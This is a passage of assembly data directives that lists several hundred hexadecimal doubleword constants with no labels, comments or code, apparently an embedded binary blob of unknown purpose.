		dd 9D0023F8h, 0B7C9D91Bh, 0B9E2D98h, 5CF664F5h,	603E8E7Dh
		dd 4F1215Fh, 0AC9080h, 0DE348B99h, 3DFB8F67h, 3C33A102h
		dd 0E6210C1Ch, 0C5E51740h, 8C38423Bh, 99000E44h, 1160C5Fh
		dd 75ECC92Ah, 0C0918421h, 0F1F476B6h, 89B9FB01h, 0BF6D5D57h
		dd 0C60E1868h, 1FF2715Ah, 6552E0h, 35D23761h, 0F9058DC7h
		dd 0FDA22622h, 0D9DD851Fh, 2B6CFE40h, 58995A2Eh, 1B00BF54h
		dd 52CB1409h, 1277A6D7h, 0F01EE0F0h, 1803AB6h, 4B754D4h
		dd 0E5F70032h, 87681FEBh, 0BC39B8A9h, 23B507B4h, 0F3348A66h
		dd 6806B0D0h, 0C2500092h, 202EBE0Fh, 23B8054Ah,	0E084D102h
		dd 0C05659D7h, 0B085BCACh, 0AE2C0AD8h, 0B4A75Fh, 0F931610Bh
		dd 9B028B20h, 76E4B3D3h, 0E9B08011h, 7B9B679h, 552A7273h
		dd 404BE099h, 0D0E7AEAh, 0C1459669h, 4A574CABh,	0FFD9AE4h
		dd 0B0D4BC6Eh, 0DB8BB627h, 23A4D821h, 0FF869C4h, 0C06E8ACEh
		dd 8242EA73h, 0D0C4A3FFh, 662180Eh, 98D22E87h, 0F67F08C1h
		dd 2C885C01h, 0A6012848h, 0FE8460h, 9A911FD8h, 0D405F72h
		dd 0A26FC707h, 6D23AABFh, 6637B8EAh, 0E4DE0236h, 1C627C5h
		dd 2F2ED4C8h, 0A7C9B00Fh, 394381E9h, 5EECDF9Dh,	6D100015h
		dd 5506F39Ah, 4B3C0BCFh, 242380C7h, 0D9BEA4EAh,	0AB201F56h
		dd 70D643CCh, 9B90C363h, 22010613h, 0E9122946h,	0C7D86B90h
		dd 0EADF0085h, 6C1926F9h, 0BE00F58Eh, 0C97E685Dh, 1E96461Dh
		dd 0C150D429h, 11354B98h, 5951E8D2h, 0D0537C00h, 0EC7CE4Fh
		dd 3B47AC2h, 0C91B1024h, 0F7AFD661h, 54F2D056h,	29008155h
		dd 529DB3E0h, 0CAE79Bh,	28B604C7h, 0FEB94FCFh, 8A355D00h
		dd 739B0FC1h, 8B6E5CE6h, 3FAF3700h, 0CAF5A28Dh,	351F21F0h
		dd 73008A52h, 0CFE1E810h, 7EEF00F3h, 9C05C2BBh,	3F00A065h
		dd 46D987D2h, 0F8760740h, 9613073Ch, 32B22984h,	0FC40B07Eh
		dd 0F7582662h, 5B7100A0h, 0ECB81B36h, 522400F6h, 58AF21BDh
		dd 59009342h, 6BC7914Dh, 19D3A5h, 0AE6795Dh, 553840DAh
		dd 2BECC201h, 7F169D12h, 24DD4C20h, 50FCE413h, 73008340h
		dd 0B0BF02F9h, 3CD879FAh, 0E69EAFF2h, 980AC023h, 0DF2C6FD3h
		dd 0AD1FBA0Bh, 0BE688173h, 27E584D6h, 0B75F8h, 4DFE3AB2h
		dd 77030746h, 10B83679h, 2C197F26h, 4222AC0h, 7EBB028Bh
		dd 72AE14C4h, 51EDC840h, 0D002984Ah, 60A7F66Fh,	166A7118h
		dd 5EA26D9Fh, 1BAB809Ah, 203DB752h, 1014474h, 9A84B495h
		dd 3460F787h, 1CDF77B2h, 839CAD12h, 3174ECA2h, 0FC8E3AB1h
		dd 6500E9EFh, 0D9431E17h, 3B4D30C6h, 0A380FFE8h, 0B547AE2Eh
		dd 9C035B79h, 0DA89BCA2h, 0AB27A0D4h, 8EE600F6h, 9EDB028Bh
		dd 140072A4h, 4EF13D05h, 0E926CAh, 0FAE2386Eh, 593683BEh
		dd 8E024200h, 0C5FE2D7Ch, 0CE891CB8h, 86807E85h, 153A11ADh
		dd 1B2C1F18h, 1000C65h,	68D162C8h, 2A5500A8h, 0B773E617h
		dd 7900BB21h, 857D46A4h, 0FAFEF80h, 63F207E3h, 0B76115A3h
		dd 308FA0CFh, 0C72495C1h, 0F0003FA8h, 0C1B7236h, 742400F7h
		dd 0A9D99BDDh, 20B76A7h, 0C73D89EBh, 5BD87000h,	7618A084h
		dd 3DC0E9F1h, 835D03C5h, 0B70BBB05h, 5F31DBB8h,	0FFD51500h
		dd 6BF68D0Eh, 449702DEh, 0AD4108F2h, 46870440h,	4F009C70h
		dd 1D551211h, 309157h, 9905CDB6h, 0D1DAD587h, 0C79A8C00h
		dd 0EAC3C28Fh, 2E06F47Eh, 17EAFEF4h, 36B44027h,	0E0AC308Ch
		dd 342880C7h, 4509E67h,	0B616BAh, 0F4FBF7Eh, 0C9FC86FDh
		dd 33E8BE00h, 783E0D25h, 78FE81Ah, 0E0242FDDh, 0C69B20BCh
		dd 360011B3h, 0CB5DC032h, 0EA339895h, 89240FDFh, 54603A1Bh
		dd 0FF72631Ah, 8C0C0B2Eh, 0BF9FDB00h, 3C1C18D0h, 3F26CC90h
		dd 86540080h, 76C9D3B0h, 5F200907h, 0A2B763A3h,	225DCD30h
		dd 3E501C0h, 0D8B05AF8h, 0D34283BCh, 80DE0E17h,	0E67A736Dh
		dd 388D3DD1h, 2E66DC00h, 9CD9D23Bh, 0A4F11100h,	0D73F9337h
		dd 3D3F6E4h, 9771E55h, 0FCBACF81h, 1BF8C80h, 20CCE86h
		dd 20930B0Fh, 9DA103AEh, 6EA812A5h, 0AC5A4C00h,	0C606F7A6h
		dd 0C973001Eh, 3A3F65D8h, 0EB74C238h, 431E2CF8h, 0B84090A2h
		dd 8ADE48ACh, 15F1005Dh, 62F7E14Ch, 951D54DBh, 6E011CD5h
		dd 0E70D781Eh, 0F0974060h, 0A8960B02h, 0F84BDFADh, 0F387DD8h
		dd 30F9E700h, 98359399h, 0AE630029h, 495AE2E9h,	9B003603h
		dd 8673CDEFh, 0DED941h,	3431A998h, 3A5D9D2Ah, 0F08C4901h
		dd 8E03B84h, 0C0D205F1h, 82545644h, 19F1BC60h, 0DC762F00h
		dd 0D0A9B46Eh, 99280A5Dh, 9412EFh, 93FF6C9Dh, 1600ADE7h
		dd 871FD796h, 26F36h, 0C1A67761h, 41BD635Ah, 0F2E98800h
		dd 0E76F383h, 83A0093h,	0C86DAD8Eh, 630091FFh, 0C7707898h
		dd 0D4E7F6h, 56B71E34h,	0E072629Ah, 0BD009D7Ah,	8195B4D8h
		dd 733ECDA3h, 1E57F82Fh, 80872443h, 20C9F2B5h, 0C0BF6ACEh
		dd 0F2FDE1B3h, 801B0032h, 4A998638h, 2E00D9A2h,	0D685529h
		dd 0A1185Dh, 239D31DDh,	77FCD058h, 0BAE030EBh, 0B806A900h
		dd 1DC50A75h, 3372E6h, 9B776895h, 2A87C654h, 0C15F6B16h
		dd 0FAAD84Bh, 60F80050h, 662F62h, 0DA31AD33h, 7AD9689Ch
		dd 0FFB92800h, 73B1AB15h, 748F0F3Eh, 86E042A7h,	675BC184h
		dd 25B92403h, 0F00AF166h, 6BAE6Ch, 7264922Fh, 0F0A8176Dh
		dd 9AD45000h, 0AD0B8D04h, 0FA82008Ah, 19AB62E1h, 0F09FD1Eh
		dd 81042C84h, 0C763FEE8h, 781E8C8h, 0AE035869h,	0E9A4B0CEh
		dd 0D0123ADBh, 0A03F5D5h, 0C0788175h, 0DF3720h,	89A989Fh
		dd 52A9C71Ah, 0CDE35C00h, 0FCBD70D5h, 5526399Eh, 0CCDFC880h
		dd 42F33883h, 9F9C7903h, 0FF3D1477h, 8608E6h, 0DB33BE5h
		dd 98F1F7DAh, 5300F5EAh, 0ED88C4E7h, 0B02930h, 37232647h
		dd 0D6152A2Bh, 93CF2700h, 0D57DEBDAh, 0BC4B0034h, 2359331Fh
		dd 0FE01A2B4h, 750A7CEFh, 0BBC46F22h, 37E7009Ch, 6BD2F22Eh
		dd 5E00CDDCh, 846664DDh, 10B8E3Eh, 0C4B335BBh, 30890408h
		dd 3A00AFBDh, 44B04503h, 1C3B5070h, 3A08BFD8h, 0A58E2E80h
		dd 7D097AF4h, 25024909h, 387A00DCh, 1633DE72h, 0FFC19h
		dd 1F46F45Bh, 200FB427h, 0E09E767Eh, 8FCF022h, 0A29000B8h
		dd 0C894A131h, 70008964h, 336A5973h, 12046D9Eh,	0E8EE76h
		dd 0D43A5850h, 63587D8Dh, 0B5DF007Fh, 80C41336h, 4DA600CAh
		dd 8F5DD84Bh, 0F0F6BAAh, 0E05F436Eh, 0EDCD5C82h, 0F08813D7h
		dd 19A60079h, 177AF513h, 32302300h, 0FC751528h,	0F8F70F4Ah
		dd 0C4E0374Eh, 0E2EFEE61h, 0AC3BEAF8h, 63F080C5h, 748C9B10h
		dd 0DD0600B3h, 3978447Fh, 97E8F348h, 0ED5F0A03h, 0E8E69202h
		dd 0FE24D9h, 0A7068BD2h, 0AF75A889h, 14217E00h,	961FBF2Eh
		dd 0B7B90F6Fh, 0AC408CE0h, 5FB35FAh, 17A02900h,	0D319CBD8h
		dd 0E99B00EAh, 429779C8h, 0CF00724Bh, 183B66B1h, 14D98E4h
		dd 0E3752639h, 0C880311Ah, 0F500230Ah, 0E7D0D920h, 3F9A9CBh
		dd 8E97AF8h, 479869FCh,	54008D96h, 2D632398h, 0D78861h
		dd 7E122BC8h, 0FE64263Ch, 4F056C00h, 595452DCh,	7C3200CAh
		dd 564CA615h, 3800363Dh
		dd 0F19FE27Eh, 233980h,	4FDB508Fh, 660F096Ch, 5888B00h
		dd 270C8CE1h, 65A60017h, 5CD0A1ABh, 8100BA0Dh, 0A897016Ch
		dd 6710FFh, 27F1B52Ah, 2D83A315h, 1D248538h, 0A680F259h
		dd 1749B7B1h, 0C4B0FCBh, 2C206D48h, 7220ADBBh, 9BC59D04h
		dd 0F2C038F2h, 52284Ah,	0FDC1D670h, 0E2C09998h,	0CAE4341Fh
		dd 20B11A4Fh, 8B17D43Ch, 68980056h, 0C29441F0h,	0ED16DAEEh
		dd 71002FBBh, 0C0AD2A3Ch, 6D1100CBh, 0EAB084E6h, 400C9B37h
		dd 401C028Dh, 0D2102E43h, 0D65D006Ah, 6FD4E691h, 1D843148h
		dd 0C3004FA9h, 2F67434h, 16E699h, 0E759D703h, 0AF1F694Eh
		dd 927DEA1Ch, 26A79B01h, 5D00CB4h, 97AD0043h, 0DB27E1A2h
		dd 3100687Eh, 54554A3Dh, 1EE059EFh, 4388A064h, 95E7FD0Dh
		dd 91C7A8C8h, 58145604h, 80BEFBEAh, 5B74301Dh, 765D2C01h
		dd 0A17084B8h, 42FCD080h, 727E8723h, 0A8FB3A06h, 1B85E61h
		dd 753E1B98h, 701CA657h, 181FA0BDh, 0C300B37Bh,	0FB477655h
		dd 0E69007Dh, 427E4071h, 9900BDA2h, 0FEC5FAB9h,	0FF044D4h
		dd 1EF20F47h, 66FD4940h, 2A38FB0Dh, 9C8860E5h, 0E448C4h
		dd 147A6996h, 9A10A9FAh, 460B3D00h, 0A0D5AD53h,	35372CD6h
		dd 0EED030F4h, 0E3033C86h, 52563123h, 0C8E93A46h, 1F6128D0h
		dd 0C01C7A2Fh, 6D1822A2h, 420EC594h, 20A7632Dh,	17590649h
		dd 610918ADh, 0E2B5D678h, 0D5BD7B0Fh, 8BCA2037h, 1E968186h
		dd 0C0BB63EAh, 60B8A162h, 0BE00AEBDh, 89A6D392h, 1BF4F1h
		dd 2B2F4E35h, 8F9156BFh, 76735300h, 0DCB3F57Dh,	0E3100DEh
		dd 0ED8AD9D3h, 4C1E1F64h, 814093F9h, 41B9B09h, 4F280091h
		dd 2203F046h, 0A200C970h, 49655259h, 1FBA1CE4h,	4113661Fh
		dd 0B536F477h, 0F6D7D074h, 0A1E44D07h, 4A100B9Ch, 1D01144h
		dd 756DA80Eh, 0D05A79CAh, 9E014225h, 7B38271Ah,	3980F9BFh
		dd 0E10903B6h, 0C200430Ah, 2502499h, 91057Dh, 0A9DF46D1h
		dd 0E9521748h, 0FB1FB60Fh, 0F051017Fh, 1420440Dh, 0BD472649h
		dd 796007FDh, 64DA63C5h, 0E44E93A0h, 7046FC00h,	7BBC119h
		dd 750B1D23h, 0FDA18CE1h, 0AE00FC80h, 423DE78Dh, 0D3F084h
		dd 0A227DAC2h, 1BE3DB43h, 0C8D13200h, 34F72321h, 79916009h
		dd 900BFAA9h, 0CF877D01h, 0B17B3EE5h, 625197F0h, 444D20DFh
		dd 0D35E7F60h, 8115233Eh, 32C2BEFAh, 2080FB16h,	90CBF79Eh
		dd 0F000B04h, 1C520A23h, 3D63724h, 7EC29FB1h, 187F07C3h
		dd 65004876h, 0FD2D6A73h, 600F50h, 4FE45DC2h, 7F68F70Ah
		dd 0ABED612Eh, 1F145E00h, 183A21Ah, 1653ABC1h, 0CCF98251h
		dd 7800EAD0h, 6CAA2B86h, 1F3A909Ch, 7E057580h, 3F564500h
		dd 86A39961h, 0A50FFB00h, 0F385AE52h, 22CE00CAh, 0C66C4A32h
		dd 0E62612B1h, 0CD00D890h, 0D46ED789h, 395B0734h, 40D64B8Ch
		dd 80FBC1CFh, 10965300h, 0D8AA7989h, 2A0D0067h,	12D49238h
		dd 8500E91Ch, 0A51AD3A3h, 75E4B4AFh, 0C43C007Ch, 30BC7AF7h
		dd 226034ADh, 906BEC10h, 0D82C001Eh, 0CC13918Fh, 0F10088D6h
		dd 1C5551D3h, 2A89BBh, 0F0548EECh, 10B90EF5h, 65FA4100h
		dd 2143805Fh, 957701ADh, 8F423BFCh, 0CCFF61ECh,	5900166Fh
		dd 1045CCBDh, 90A854A5h, 0D6F2000Bh, 8A8774AEh,	5907551Bh
		dd 3A664760h, 0A80F1EA0h, 0A5B90027h, 0CC1295D4h, 37001BEAh
		dd 96E2A025h, 0C417EA2h, 0FDED0AC1h, 0B07FD098h, 2C308B60h
		dd 0F8E1105Eh, 0A24B00E5h, 2E4A3AC7h, 557CA0BCh, 74E3EF01h
		dd 2DED547Dh, 0F88E24F4h, 1947CDCh, 2096C5F5h, 84EF9985h
		dd 0FBCE5159h, 2213A204h, 5A0810A6h, 20947144h,	0B62152B8h
		dd 106B04B1h, 0B8110ACCh, 0B9215930h, 0D3E680DDh, 0A1213F9h
		dd 947A1378h, 0C2889D2Ch, 0A25F6E93h, 0FDAA4F18h, 831BD01h
		dd 0F9212075h, 1084CA7Fh, 10A0C796h, 58825440h,	2E02903Eh
		dd 4AB813EAh, 20109B30h, 5409E2C9h, 202F8096h, 0AA5CC00h
		dd 30FB977Dh, 0B1006868h, 0D09C452Fh, 1CCDD10h,	0BF0295D1h
		dd 80A8FF5Dh, 79341E50h, 92CB85B6h, 284B003Ch, 0EAF571FDh
		dd 0F6B06C0Dh, 0FB7D4800h, 13E4DCD2h, 0D5B30075h, 3F31AC30h
		dd 9800013Bh, 0C42937EDh, 0FE949ACEh, 487F15h, 0A60B1CF9h
		dd 0F3985D54h, 0D9ECE0C0h, 58455C82h, 3901F0A9h, 0A319B6D7h
		dd 26E0FFA8h, 0C97E89F3h, 349FE304h, 1C841CC4h,	713B0FAEh
		dd 830EE7E0h, 0A100D347h, 56FF0C80h, 0B2468Bh, 36ECF6DAh
		dd 8EE083A0h, 0F2643000h, 0BBE4DEB0h, 0FBE69Ah,	0BFD13E44h
		dd 0D2AEB96Bh, 2C86F800h, 6D5B5F3Bh, 0C9312CDDh, 5165000Fh
		dd 0F70685B4h, 7C5D38h,	0FF1796E7h, 0C3B519DAh,	33541418h
		dd 578C0800h, 64B46843h, 718007Fh, 0C32CDE3Ah, 0E87B12EEh
		dd 264AFD00h, 0C77489Ah, 2FEC0056h, 65A988E9h, 550F86B5h
		dd 4053EDE8h, 0D18AF6CEh, 5A3D005Bh, 0BD02B0A1h, 9F0F963Bh
		dd 868E06FFh, 780A6Ah, 23CE4516h, 91CB04EFh, 38FF0818h
		dd 201390h, 26A6DDF1h, 0CE7E386h, 555E40Bh, 0C12C8C96h
		dd 0D809390Bh, 8647EF9Dh, 181891EAh, 20F75D51h,	7B005380h
		dd 948BC972h, 249A08h, 668193E4h, 67AB3D9Ch, 0C99883E5h
		dd 88147F47h, 50B5C5Bh,	0E52C6463h, 905C72h, 6FFF4C68h
		dd 0C012FE6Eh, 0E8019EC6h, 88825790h, 1E8758E0h, 400FCBEDh
		dd 0F611E7ECh, 40F2760h, 0A00B9E81h, 0A61A6C48h, 0C44A00ADh
		dd 2B8705A4h, 37007823h, 0F612DB49h, 9FB569h, 0BEAC7D0Fh
		dd 649EC446h, 169B5924h, 0D73A3E00h, 6AE947h, 0B462EBF1h
		dd 4953E89Ch, 0DF0C8200h, 69E53284h, 0A4093B2Bh, 651E4E80h
		dd 0C858F20h, 60995F00h, 1250935Ch, 0DCB400A2h,	0CD0A73A4h
		dd 6F00F841h, 0E73ABAE0h, 5DABFF2h, 582B0616h, 9A1BC018h
		dd 9C60B1DCh, 98122668h, 854B0AE0h, 88EC9Fh, 0E74AC9F1h
		dd 0FC00A330h, 2BC32803h, 93960Ah, 5AC6F03Bh, 3E09AE4Ah
		dd 0D2A9B000h, 0DCCFA337h, 0E1D800EAh, 6036E597h, 650003E0h
		dd 63EB9D7Ah, 7C5016h, 148AB4C4h, 0A2057718h, 87DACB00h
		dd 0C3D395AEh, 4BD700AFh, 0F3571491h, 5D76DE54h, 6DDD9800h
		dd 0C047F08Dh, 0C3C20F30h, 0EB80CAF4h, 51773680h, 0E0E35707h
		dd 80EFC822h, 81165BD4h, 12E8F8DDh, 0D5B208h, 233D523Fh
		dd 0F800289Ah, 0EAF28AB9h, 608073F4h, 0D67498CCh, 330F7B57h
		dd 0E16D32C9h, 782608F6h, 719C25F0h, 8A6C0715h,	0E018241Fh
		dd 34E13B10h, 58E63607h, 5E705C83h, 201D10Dh, 1147A264h
		dd 7C906A16h, 4904F0C1h, 0F93EB813h, 81257020h,	72D140Fh
		dd 9DB320DEh, 0D0D157h,	90E7B87Ch, 567DC5Dh, 8A41EF1Dh
		dd 3B479D8Eh, 270D870h,	48BF0139h, 699ABD3Eh, 2D38F0EDh
		dd 28A3C70Ch, 0ECEAF011h, 16830749h, 0F3F40171h, 64A10E18h
		dd 29208027h, 4F6F3A04h, 149062h, 0ADDF1387h, 5EEC1BE2h
		dd 0E9ED2100h, 90C5C4AFh, 718400D9h, 9ABE6ECAh,	0A10E46D4h
		dd 20669DA5h, 0B94978B0h, 22EC006Ch, 34433329h,	0DCB01F6Dh
		dd 0D90D621Eh, 4A93C587h, 0B1B045E7h, 28611h, 90E42123h
		dd 3A82BCA2h, 9D27DD3Ah, 458030CCh, 84BAC905h, 10170902h
		dd 8603AF77h, 0A199EE36h, 9C29D0BFh, 0A2465300h, 18474BC2h
		dd 0B5D70060h, 11CDFCB9h, 19003F0Fh, 22022EB7h,	30732Ah
		dd 0D46A2D70h, 56E4477h, 86E7D500h, 0B9C566C9h,	375938D2h
		dd 8800E038h, 8B5F5B40h, 28071024h, 0EBFB0D5Ch,	33A21820h
		dd 15D1004Ch, 17D7CB74h
		dd 440064BAh, 0D6EF6E81h, 74E2356h, 75EDFFF0h, 0BF6D1030h
		dd 2D008368h, 20D8B07Ah, 0BA1D93h, 3124D715h, 59D13582h
		dd 9666A307h, 924061B8h, 0E6ACC7Fh, 0D80D9F34h,	1CA0E1AEh
		dd 79586571h, 74DA58h, 8A1F70E3h, 0E8E12188h, 0C5BB007Dh
		dd 99794289h, 0E03AF9F7h, 0FD1D0095h, 0DDCA3126h, 0D67E00EEh
		dd 0CC510D06h, 0BA3F3022h, 0C80072FFh, 0A62B0AAAh, 0B02444FEh
		dd 7FE13D21h, 7DAC5200h, 6BC43553h, 0E67FB490h,	7C1F5601h
		dd 58449946h, 38A8CCC4h, 941CDA67h, 7400BE41h, 9F9E4920h
		dd 0A507C42Ch, 6CA2CDD9h, 2471C2C0h, 60D000BFh,	75B802A8h
		dd 67004A82h, 0F82EAA63h, 17E849h, 352CC0C6h, 16A05AC2h
		dd 432AB807h, 90E0DCF4h, 0C71398h, 25B164B6h, 159D12F3h
		dd 0CAA1E900h, 604FFB51h, 0B990048h, 0FCCB5B7h,	0BC3A3910h
		dd 6388FA4h, 4DD78031h,	0A1C8E1h, 0F8611D58h, 7F1BFB8Fh
		dd 4ED0080Eh, 0E0DA6E72h, 9B0AD1B4h, 5F280114h,	0B7241739h
		dd 0B5B0D0BFh, 3701A17Ah, 0E9F0604Bh, 3BC007F2h, 0CB0F0038h
		dd 4CC1F527h, 4E009FB0h, 2298C4Bh, 0C86D46h, 0C389A390h
		dd 0FEA286D3h, 4C1EEA1Fh, 16F3A900h, 7888C3Bh, 74B8F446h
		dd 0FFDE701Fh, 0E0009D4Ch, 7B1685DAh, 46B18Ah, 55BA24F8h
		dd 11089567h, 8BC4D900h, 51D2184Ch, 54AA002Ah, 0F972750h
		dd 0C10087CFh, 0C794E88Eh, 0FF2C65h, 90BA3B86h,	1DCEA21Eh
		dd 8BC03901h, 26C69AF8h, 0FD65C60h, 0B2D96832h,	2743EE80h
		dd 2A0089F6h, 2C6250BDh, 80320Dh, 4F764C63h, 593397Eh
		dd 4819B113h, 0C2B20800h, 90B59682h, 816300F5h,	4056C7EFh
		dd 0F000615Eh, 0B8B99784h, 39E8D5Dh, 8F59A4A6h,	94F0240Dh
		dd 0A200EDF5h, 0E7831B60h, 2CBA2Fh, 0A515DF05h,	196B7F36h
		dd 160AA800h, 250FC331h, 0C9C600D7h, 0FC99DB84h, 9AA0AF4Fh
		dd 0C7067C7Ah, 6CA031B0h, 0F99A0098h, 0A8C20F45h, 910795FAh
		dd 0E7303CDDh, 0D4A4B6D0h, 4710064h, 2B2A8131h,	8E037ECFh
		dd 9D3C8D88h, 0A49EE8A6h, 0F8BC0048h, 6BAC67EFh, 0FA4C7C0Eh
		dd 25518418h, 0F420654Fh, 5C7299B4h, 0A0B88100h, 570E90F2h
		dd 0FD000B9h, 0E6F6795Bh, 0A498335Fh, 80C69438h, 0DE6B6F7Ch
		dd 0A39B31h, 0DFC16EEFh, 82837A18h, 0A9228F0Eh,	4EE5C02Fh
		dd 5440CFh, 0F7CE122Eh,	859DB646h, 2AD55000h, 86B86FB7h
		dd 2ECA075Dh, 538801F6h, 0E800FF3Ah, 36074F1h, 85206Ah
		dd 33A9EA2Dh, 69BA3B6h,	549E0826h, 0F480A003h, 6C680168h
		dd 81D92D47h, 0B123E0E1h, 2EEF0D01h, 4E1CF7CAh,	0C7F6C4h
		dd 5EAABE2Fh, 5115B4A0h, 792E1B2Ch, 0E8E26A00h,	39F666Fh
		dd 0EE7CFDFh, 0D4C03689h, 26004291h, 6C00BD8h, 23EA10h
		dd 4AF41FF6h, 440AFE22h, 1600387Fh, 0E5AFA37Fh,	3D765E4h
		dd 0F44705D3h, 0D6A8C453h, 96C1D414h, 0A5ABBB4h, 7BECC9CDh
		dd 6AD0069h, 8F1982F5h,	79031CF1h, 0EBB990ECh, 3865E068h
		dd 91C639A1h, 0B4072285h, 3B3FC05Fh, 18262987h,	3C22D1h
		dd 0AA3F9ECEh, 2E5CB7CAh, 1DA3A88Eh, 0E93C4059h, 19C8BA0Ch
		dd 1126D200h, 63B2FA0Ah, 0E2D40002h, 66358D8Bh,	7B1818E3h
		dd 0BDE8F2A2h, 4C88489Dh, 4041761Ch, 9E1666D0h,	0BC0084C8h
		dd 0C2983E26h, 731B94h,	4ED775ACh, 360FF638h, 20AAEC07h
		dd 795028B2h, 0CB1FA1h,	0A0536EC4h, 315DC369h, 0CE992900h
		dd 0C9E1AB59h, 0FBECFF50h, 45A6002Ch, 589A68A9h, 2300C536h
		dd 9001A5F5h, 0D69E94h,	30D779A8h, 0D4BAC237h, 43C3C400h
		dd 0E0F32156h, 0A5E43D31h, 0AA1BE800h, 0ED6FD14Fh, 8E39FD00h
		dd 0A2B515DBh, 579A00A4h, 9E811066h, 0A00AB2Eh,	0EBDABEA0h
		dd 3F479FCh, 390140F8h,	2CF089D7h, 9800E7E2h, 0AA05D64Dh
		dd 0F6736A6h, 6B0C94F8h, 0B2DA1880h, 600CF3Ah, 0D3551527h
		dd 879BA6h, 0FB2512F2h,	0EA0B4B75h, 0E8BF7900h,	32D9763Eh
		dd 4E191F15h, 0E1B9C0CEh, 5C895388h, 0D03FA901h, 837D1FC4h
		dd 5FF82A87h, 9FF770CCh, 0F10054FFh, 25B560Ah, 0E9BDA7h
		dd 0BF2C8BE5h, 3F5079F8h, 7F35F101h, 2029A848h,	3B68C9F8h
		dd 798066E8h, 43BC630Dh, 70E407ADh, 932CF3F0h, 803C859Eh
		dd 0D314BEFCh, 1DECE7BDh, 0C01CB0DCh, 0D789171Fh, 0B800780Ah
		dd 0BD6067B1h, 6736AA41h, 50E64003h, 0F6DACDFBh, 5E76D800h
		dd 833B40D9h, 7FDB2C44h, 0ABE300F1h, 7808A17Bh,	630592ECh
		dd 0B97201EAh, 0C349914h, 0A00331A0h, 0D7736h, 14DC0B73h
		dd 616B79F0h, 51640600h, 215C5276h, 0D7190024h,	0E9AC780Fh
		dd 8100BD3Dh, 473C7D4Bh, 0BBE089h, 0C7F1D6B3h, 0AADE6FD9h
		dd 4DA27900h, 0AC907680h, 30FD0065h, 295141DAh,	0E7FA04AFh
		dd 2B34CC01h, 8A776394h, 7E8D24E0h, 5CB7E06h, 1158B64Dh
		dd 0D4D90193h, 0A4FD4FC3h, 720038B6h, 0C7DCF58Fh, 1F76008Dh
		dd 744ED35Fh, 683814CDh, 0F3D20193h, 3189E3ACh,	4F2F4h
		dd 0EF5884B3h, 3ADA7322h, 9F49BB00h, 0AC5DA56Dh, 70B600CFh
		dd 0C4A8F2DEh, 0DD00D0DBh, 4D366489h, 0E867257Ah, 3C710172h
		dd 280E57C0h, 0D007D0F0h, 311E0C00h, 0FE8A5046h, 518000CAh
		dd 21E0DA36h, 81007695h, 7E65A13Ah, 1779FD7h, 0BAE40122h
		dd 0E7238204h, 0C10730AEh, 85736E92h, 7446CA20h, 0DC6D3D2Ch
		dd 55585900h, 0DB28CB88h, 93C1B48h, 7B49Bh, 0EDF1261Fh
		dd 5C731F94h, 592E80C9h, 77A48F06h, 62D9BA01h, 0F975F1FCh
		dd 3B0C96ECh, 8B8049BFh, 7012353Bh, 4D186259h, 365810E3h
		dd 232D01FAh, 5CBEBF67h, 91D0F795h, 3A032F3Fh, 4C26510Eh
		dd 0ECA8D864h, 508E00C8h, 2BCEB35Bh, 7D39C18Ah,	13DB12AEh
		dd 51022400h, 3C30A2DFh, 5700E97Ch, 0E0AA0FBFh,	0C00056FBh
		dd 0ECD0BA8h, 74A8816h,	10C31E9h, 0EA35B09Ch, 80F3A6E1h
		dd 0D893E848h, 8705BAh,	0D7FA1577h, 365560B2h, 0FC8DEA00h
		dd 0E7ECB69Fh, 6E5D0322h, 0BF1EADB5h, 497DC80h,	0CA85D31Ch
		dd 28756780h, 5EAE936h,	5CC8219Bh, 5E0EAAD7h, 60F240CBh
		dd 1C2D8130h, 40A285A8h, 10B5015Fh, 3E7E0DABh, 6E683600h
		dd 869CF576h, 0F720C0A4h, 2EB0357Fh, 0CB9D3F00h, 9F5B3925h
		dd 920E03C5h, 7F0F4DD5h, 0BC14E80h, 41F51507h, 0E087E2BAh
		dd 657E61D0h, 0C99D30B7h, 1644D571h, 102783Eh, 173418B9h
		dd 0A3DC3B31h, 0AC570239h, 0A2CF8C1Dh, 3D848C60h, 0D4F1890Fh
		dd 8AAB60AAh, 0EC886062h, 67C00096h, 0E26C0455h, 74067FD7h
		dd 0A7B438A6h, 0F7E868h, 7ED39E80h, 64D94F7Ah, 9BBE6A00h
		dd 90727755h, 8F433EE1h, 18A3FF80h, 2F1C1D07h, 80569C07h
		dd 50703C27h, 1E75D7Ch,	0FADBC3B7h, 85EA1DAFh, 3740AA60h
		dd 0BCF3C80h, 87510045h, 0F4E5EFC1h, 0DA005D63h, 92A2D839h
		dd 4C9FFh, 68B25CD2h, 5FE5B57h,	0ABCC7300h, 0EA525890h
		dd 38C3386Dh, 0C899EF83h, 580016F4h, 0DD2B8C9Dh, 3A2DBB46h
		dd 6B80AC53h, 164F84D0h, 36727D10h, 0B18E7000h,	0DA2B7C3Fh
		dd 1562071Bh, 60E61D64h, 0ABE1B831h, 54671600h,	0CB6FF0A3h
		dd 961A03FFh, 0FAA52CF1h, 0BC0020D6h, 8469DEF9h, 1E393345h
		dd 0C1DB1A24h, 0A6B8F707h, 2A57ECCCh, 20B03700h, 29E89316h
		dd 469A00C4h, 0C35C182Ch, 3C1E5551h, 7396E4DAh,	8C77E503h
		dd 0D71EB805h, 10B3001Ch, 2A54624Ch, 0AE00A599h, 5EB8B42h
		dd 7107722Ch, 0BA880182h, 54FD7FC2h, 36D8DCFCh,	264F220Ch
		dd 33E8A8EBh, 0B34020BDh
		dd 29435F0h, 0C94B560Ch, 8020F4h, 0DB7F0643h, 0B0A7D26Ah
		dd 4400EC70h, 420F0DEFh, 73D0FFh, 0ABC08548h, 0DC2D7112h
		dd 0F5006F7Bh, 0F070FAEAh, 34D922h, 6E733B72h, 991512BDh
		dd 0A99A560Ch, 60A53884h, 126912Dh, 1E009378h, 3B9D1F54h
		dd 0DEDF4237h, 0E1D661h, 9AB57D4Ch, 70792F5h, 0FD0E583Eh
		dd 20800F34h, 0D2CEA1h,	655706DBh, 0C1DEE191h, 7C4A0500h
		dd 0FA0BA46Eh, 3DD902EEh, 8682EBC3h, 64CAE1C0h,	18EC5E30h
		dd 73E43302h, 41603AAh,	0C421449Ch, 4EB81D90h, 0E002E5EAh
		dd 81BEBDD0h, 7001E06Eh, 693D1CC5h, 8F6D1E04h, 0DBA029A5h
		dd 7E0A39EDh, 5D58DD60h, 0F13A74h, 0B5C15B91h, 8A9DA98Ch
		dd 2AE87D00h, 80B7AB55h, 2DBA00DBh, 0E44DEF9Ah,	5403936Ch
		dd 0D07E4295h, 8B38C071h, 3DAF00F2h, 57B0EEA4h,	0D500F8CFh
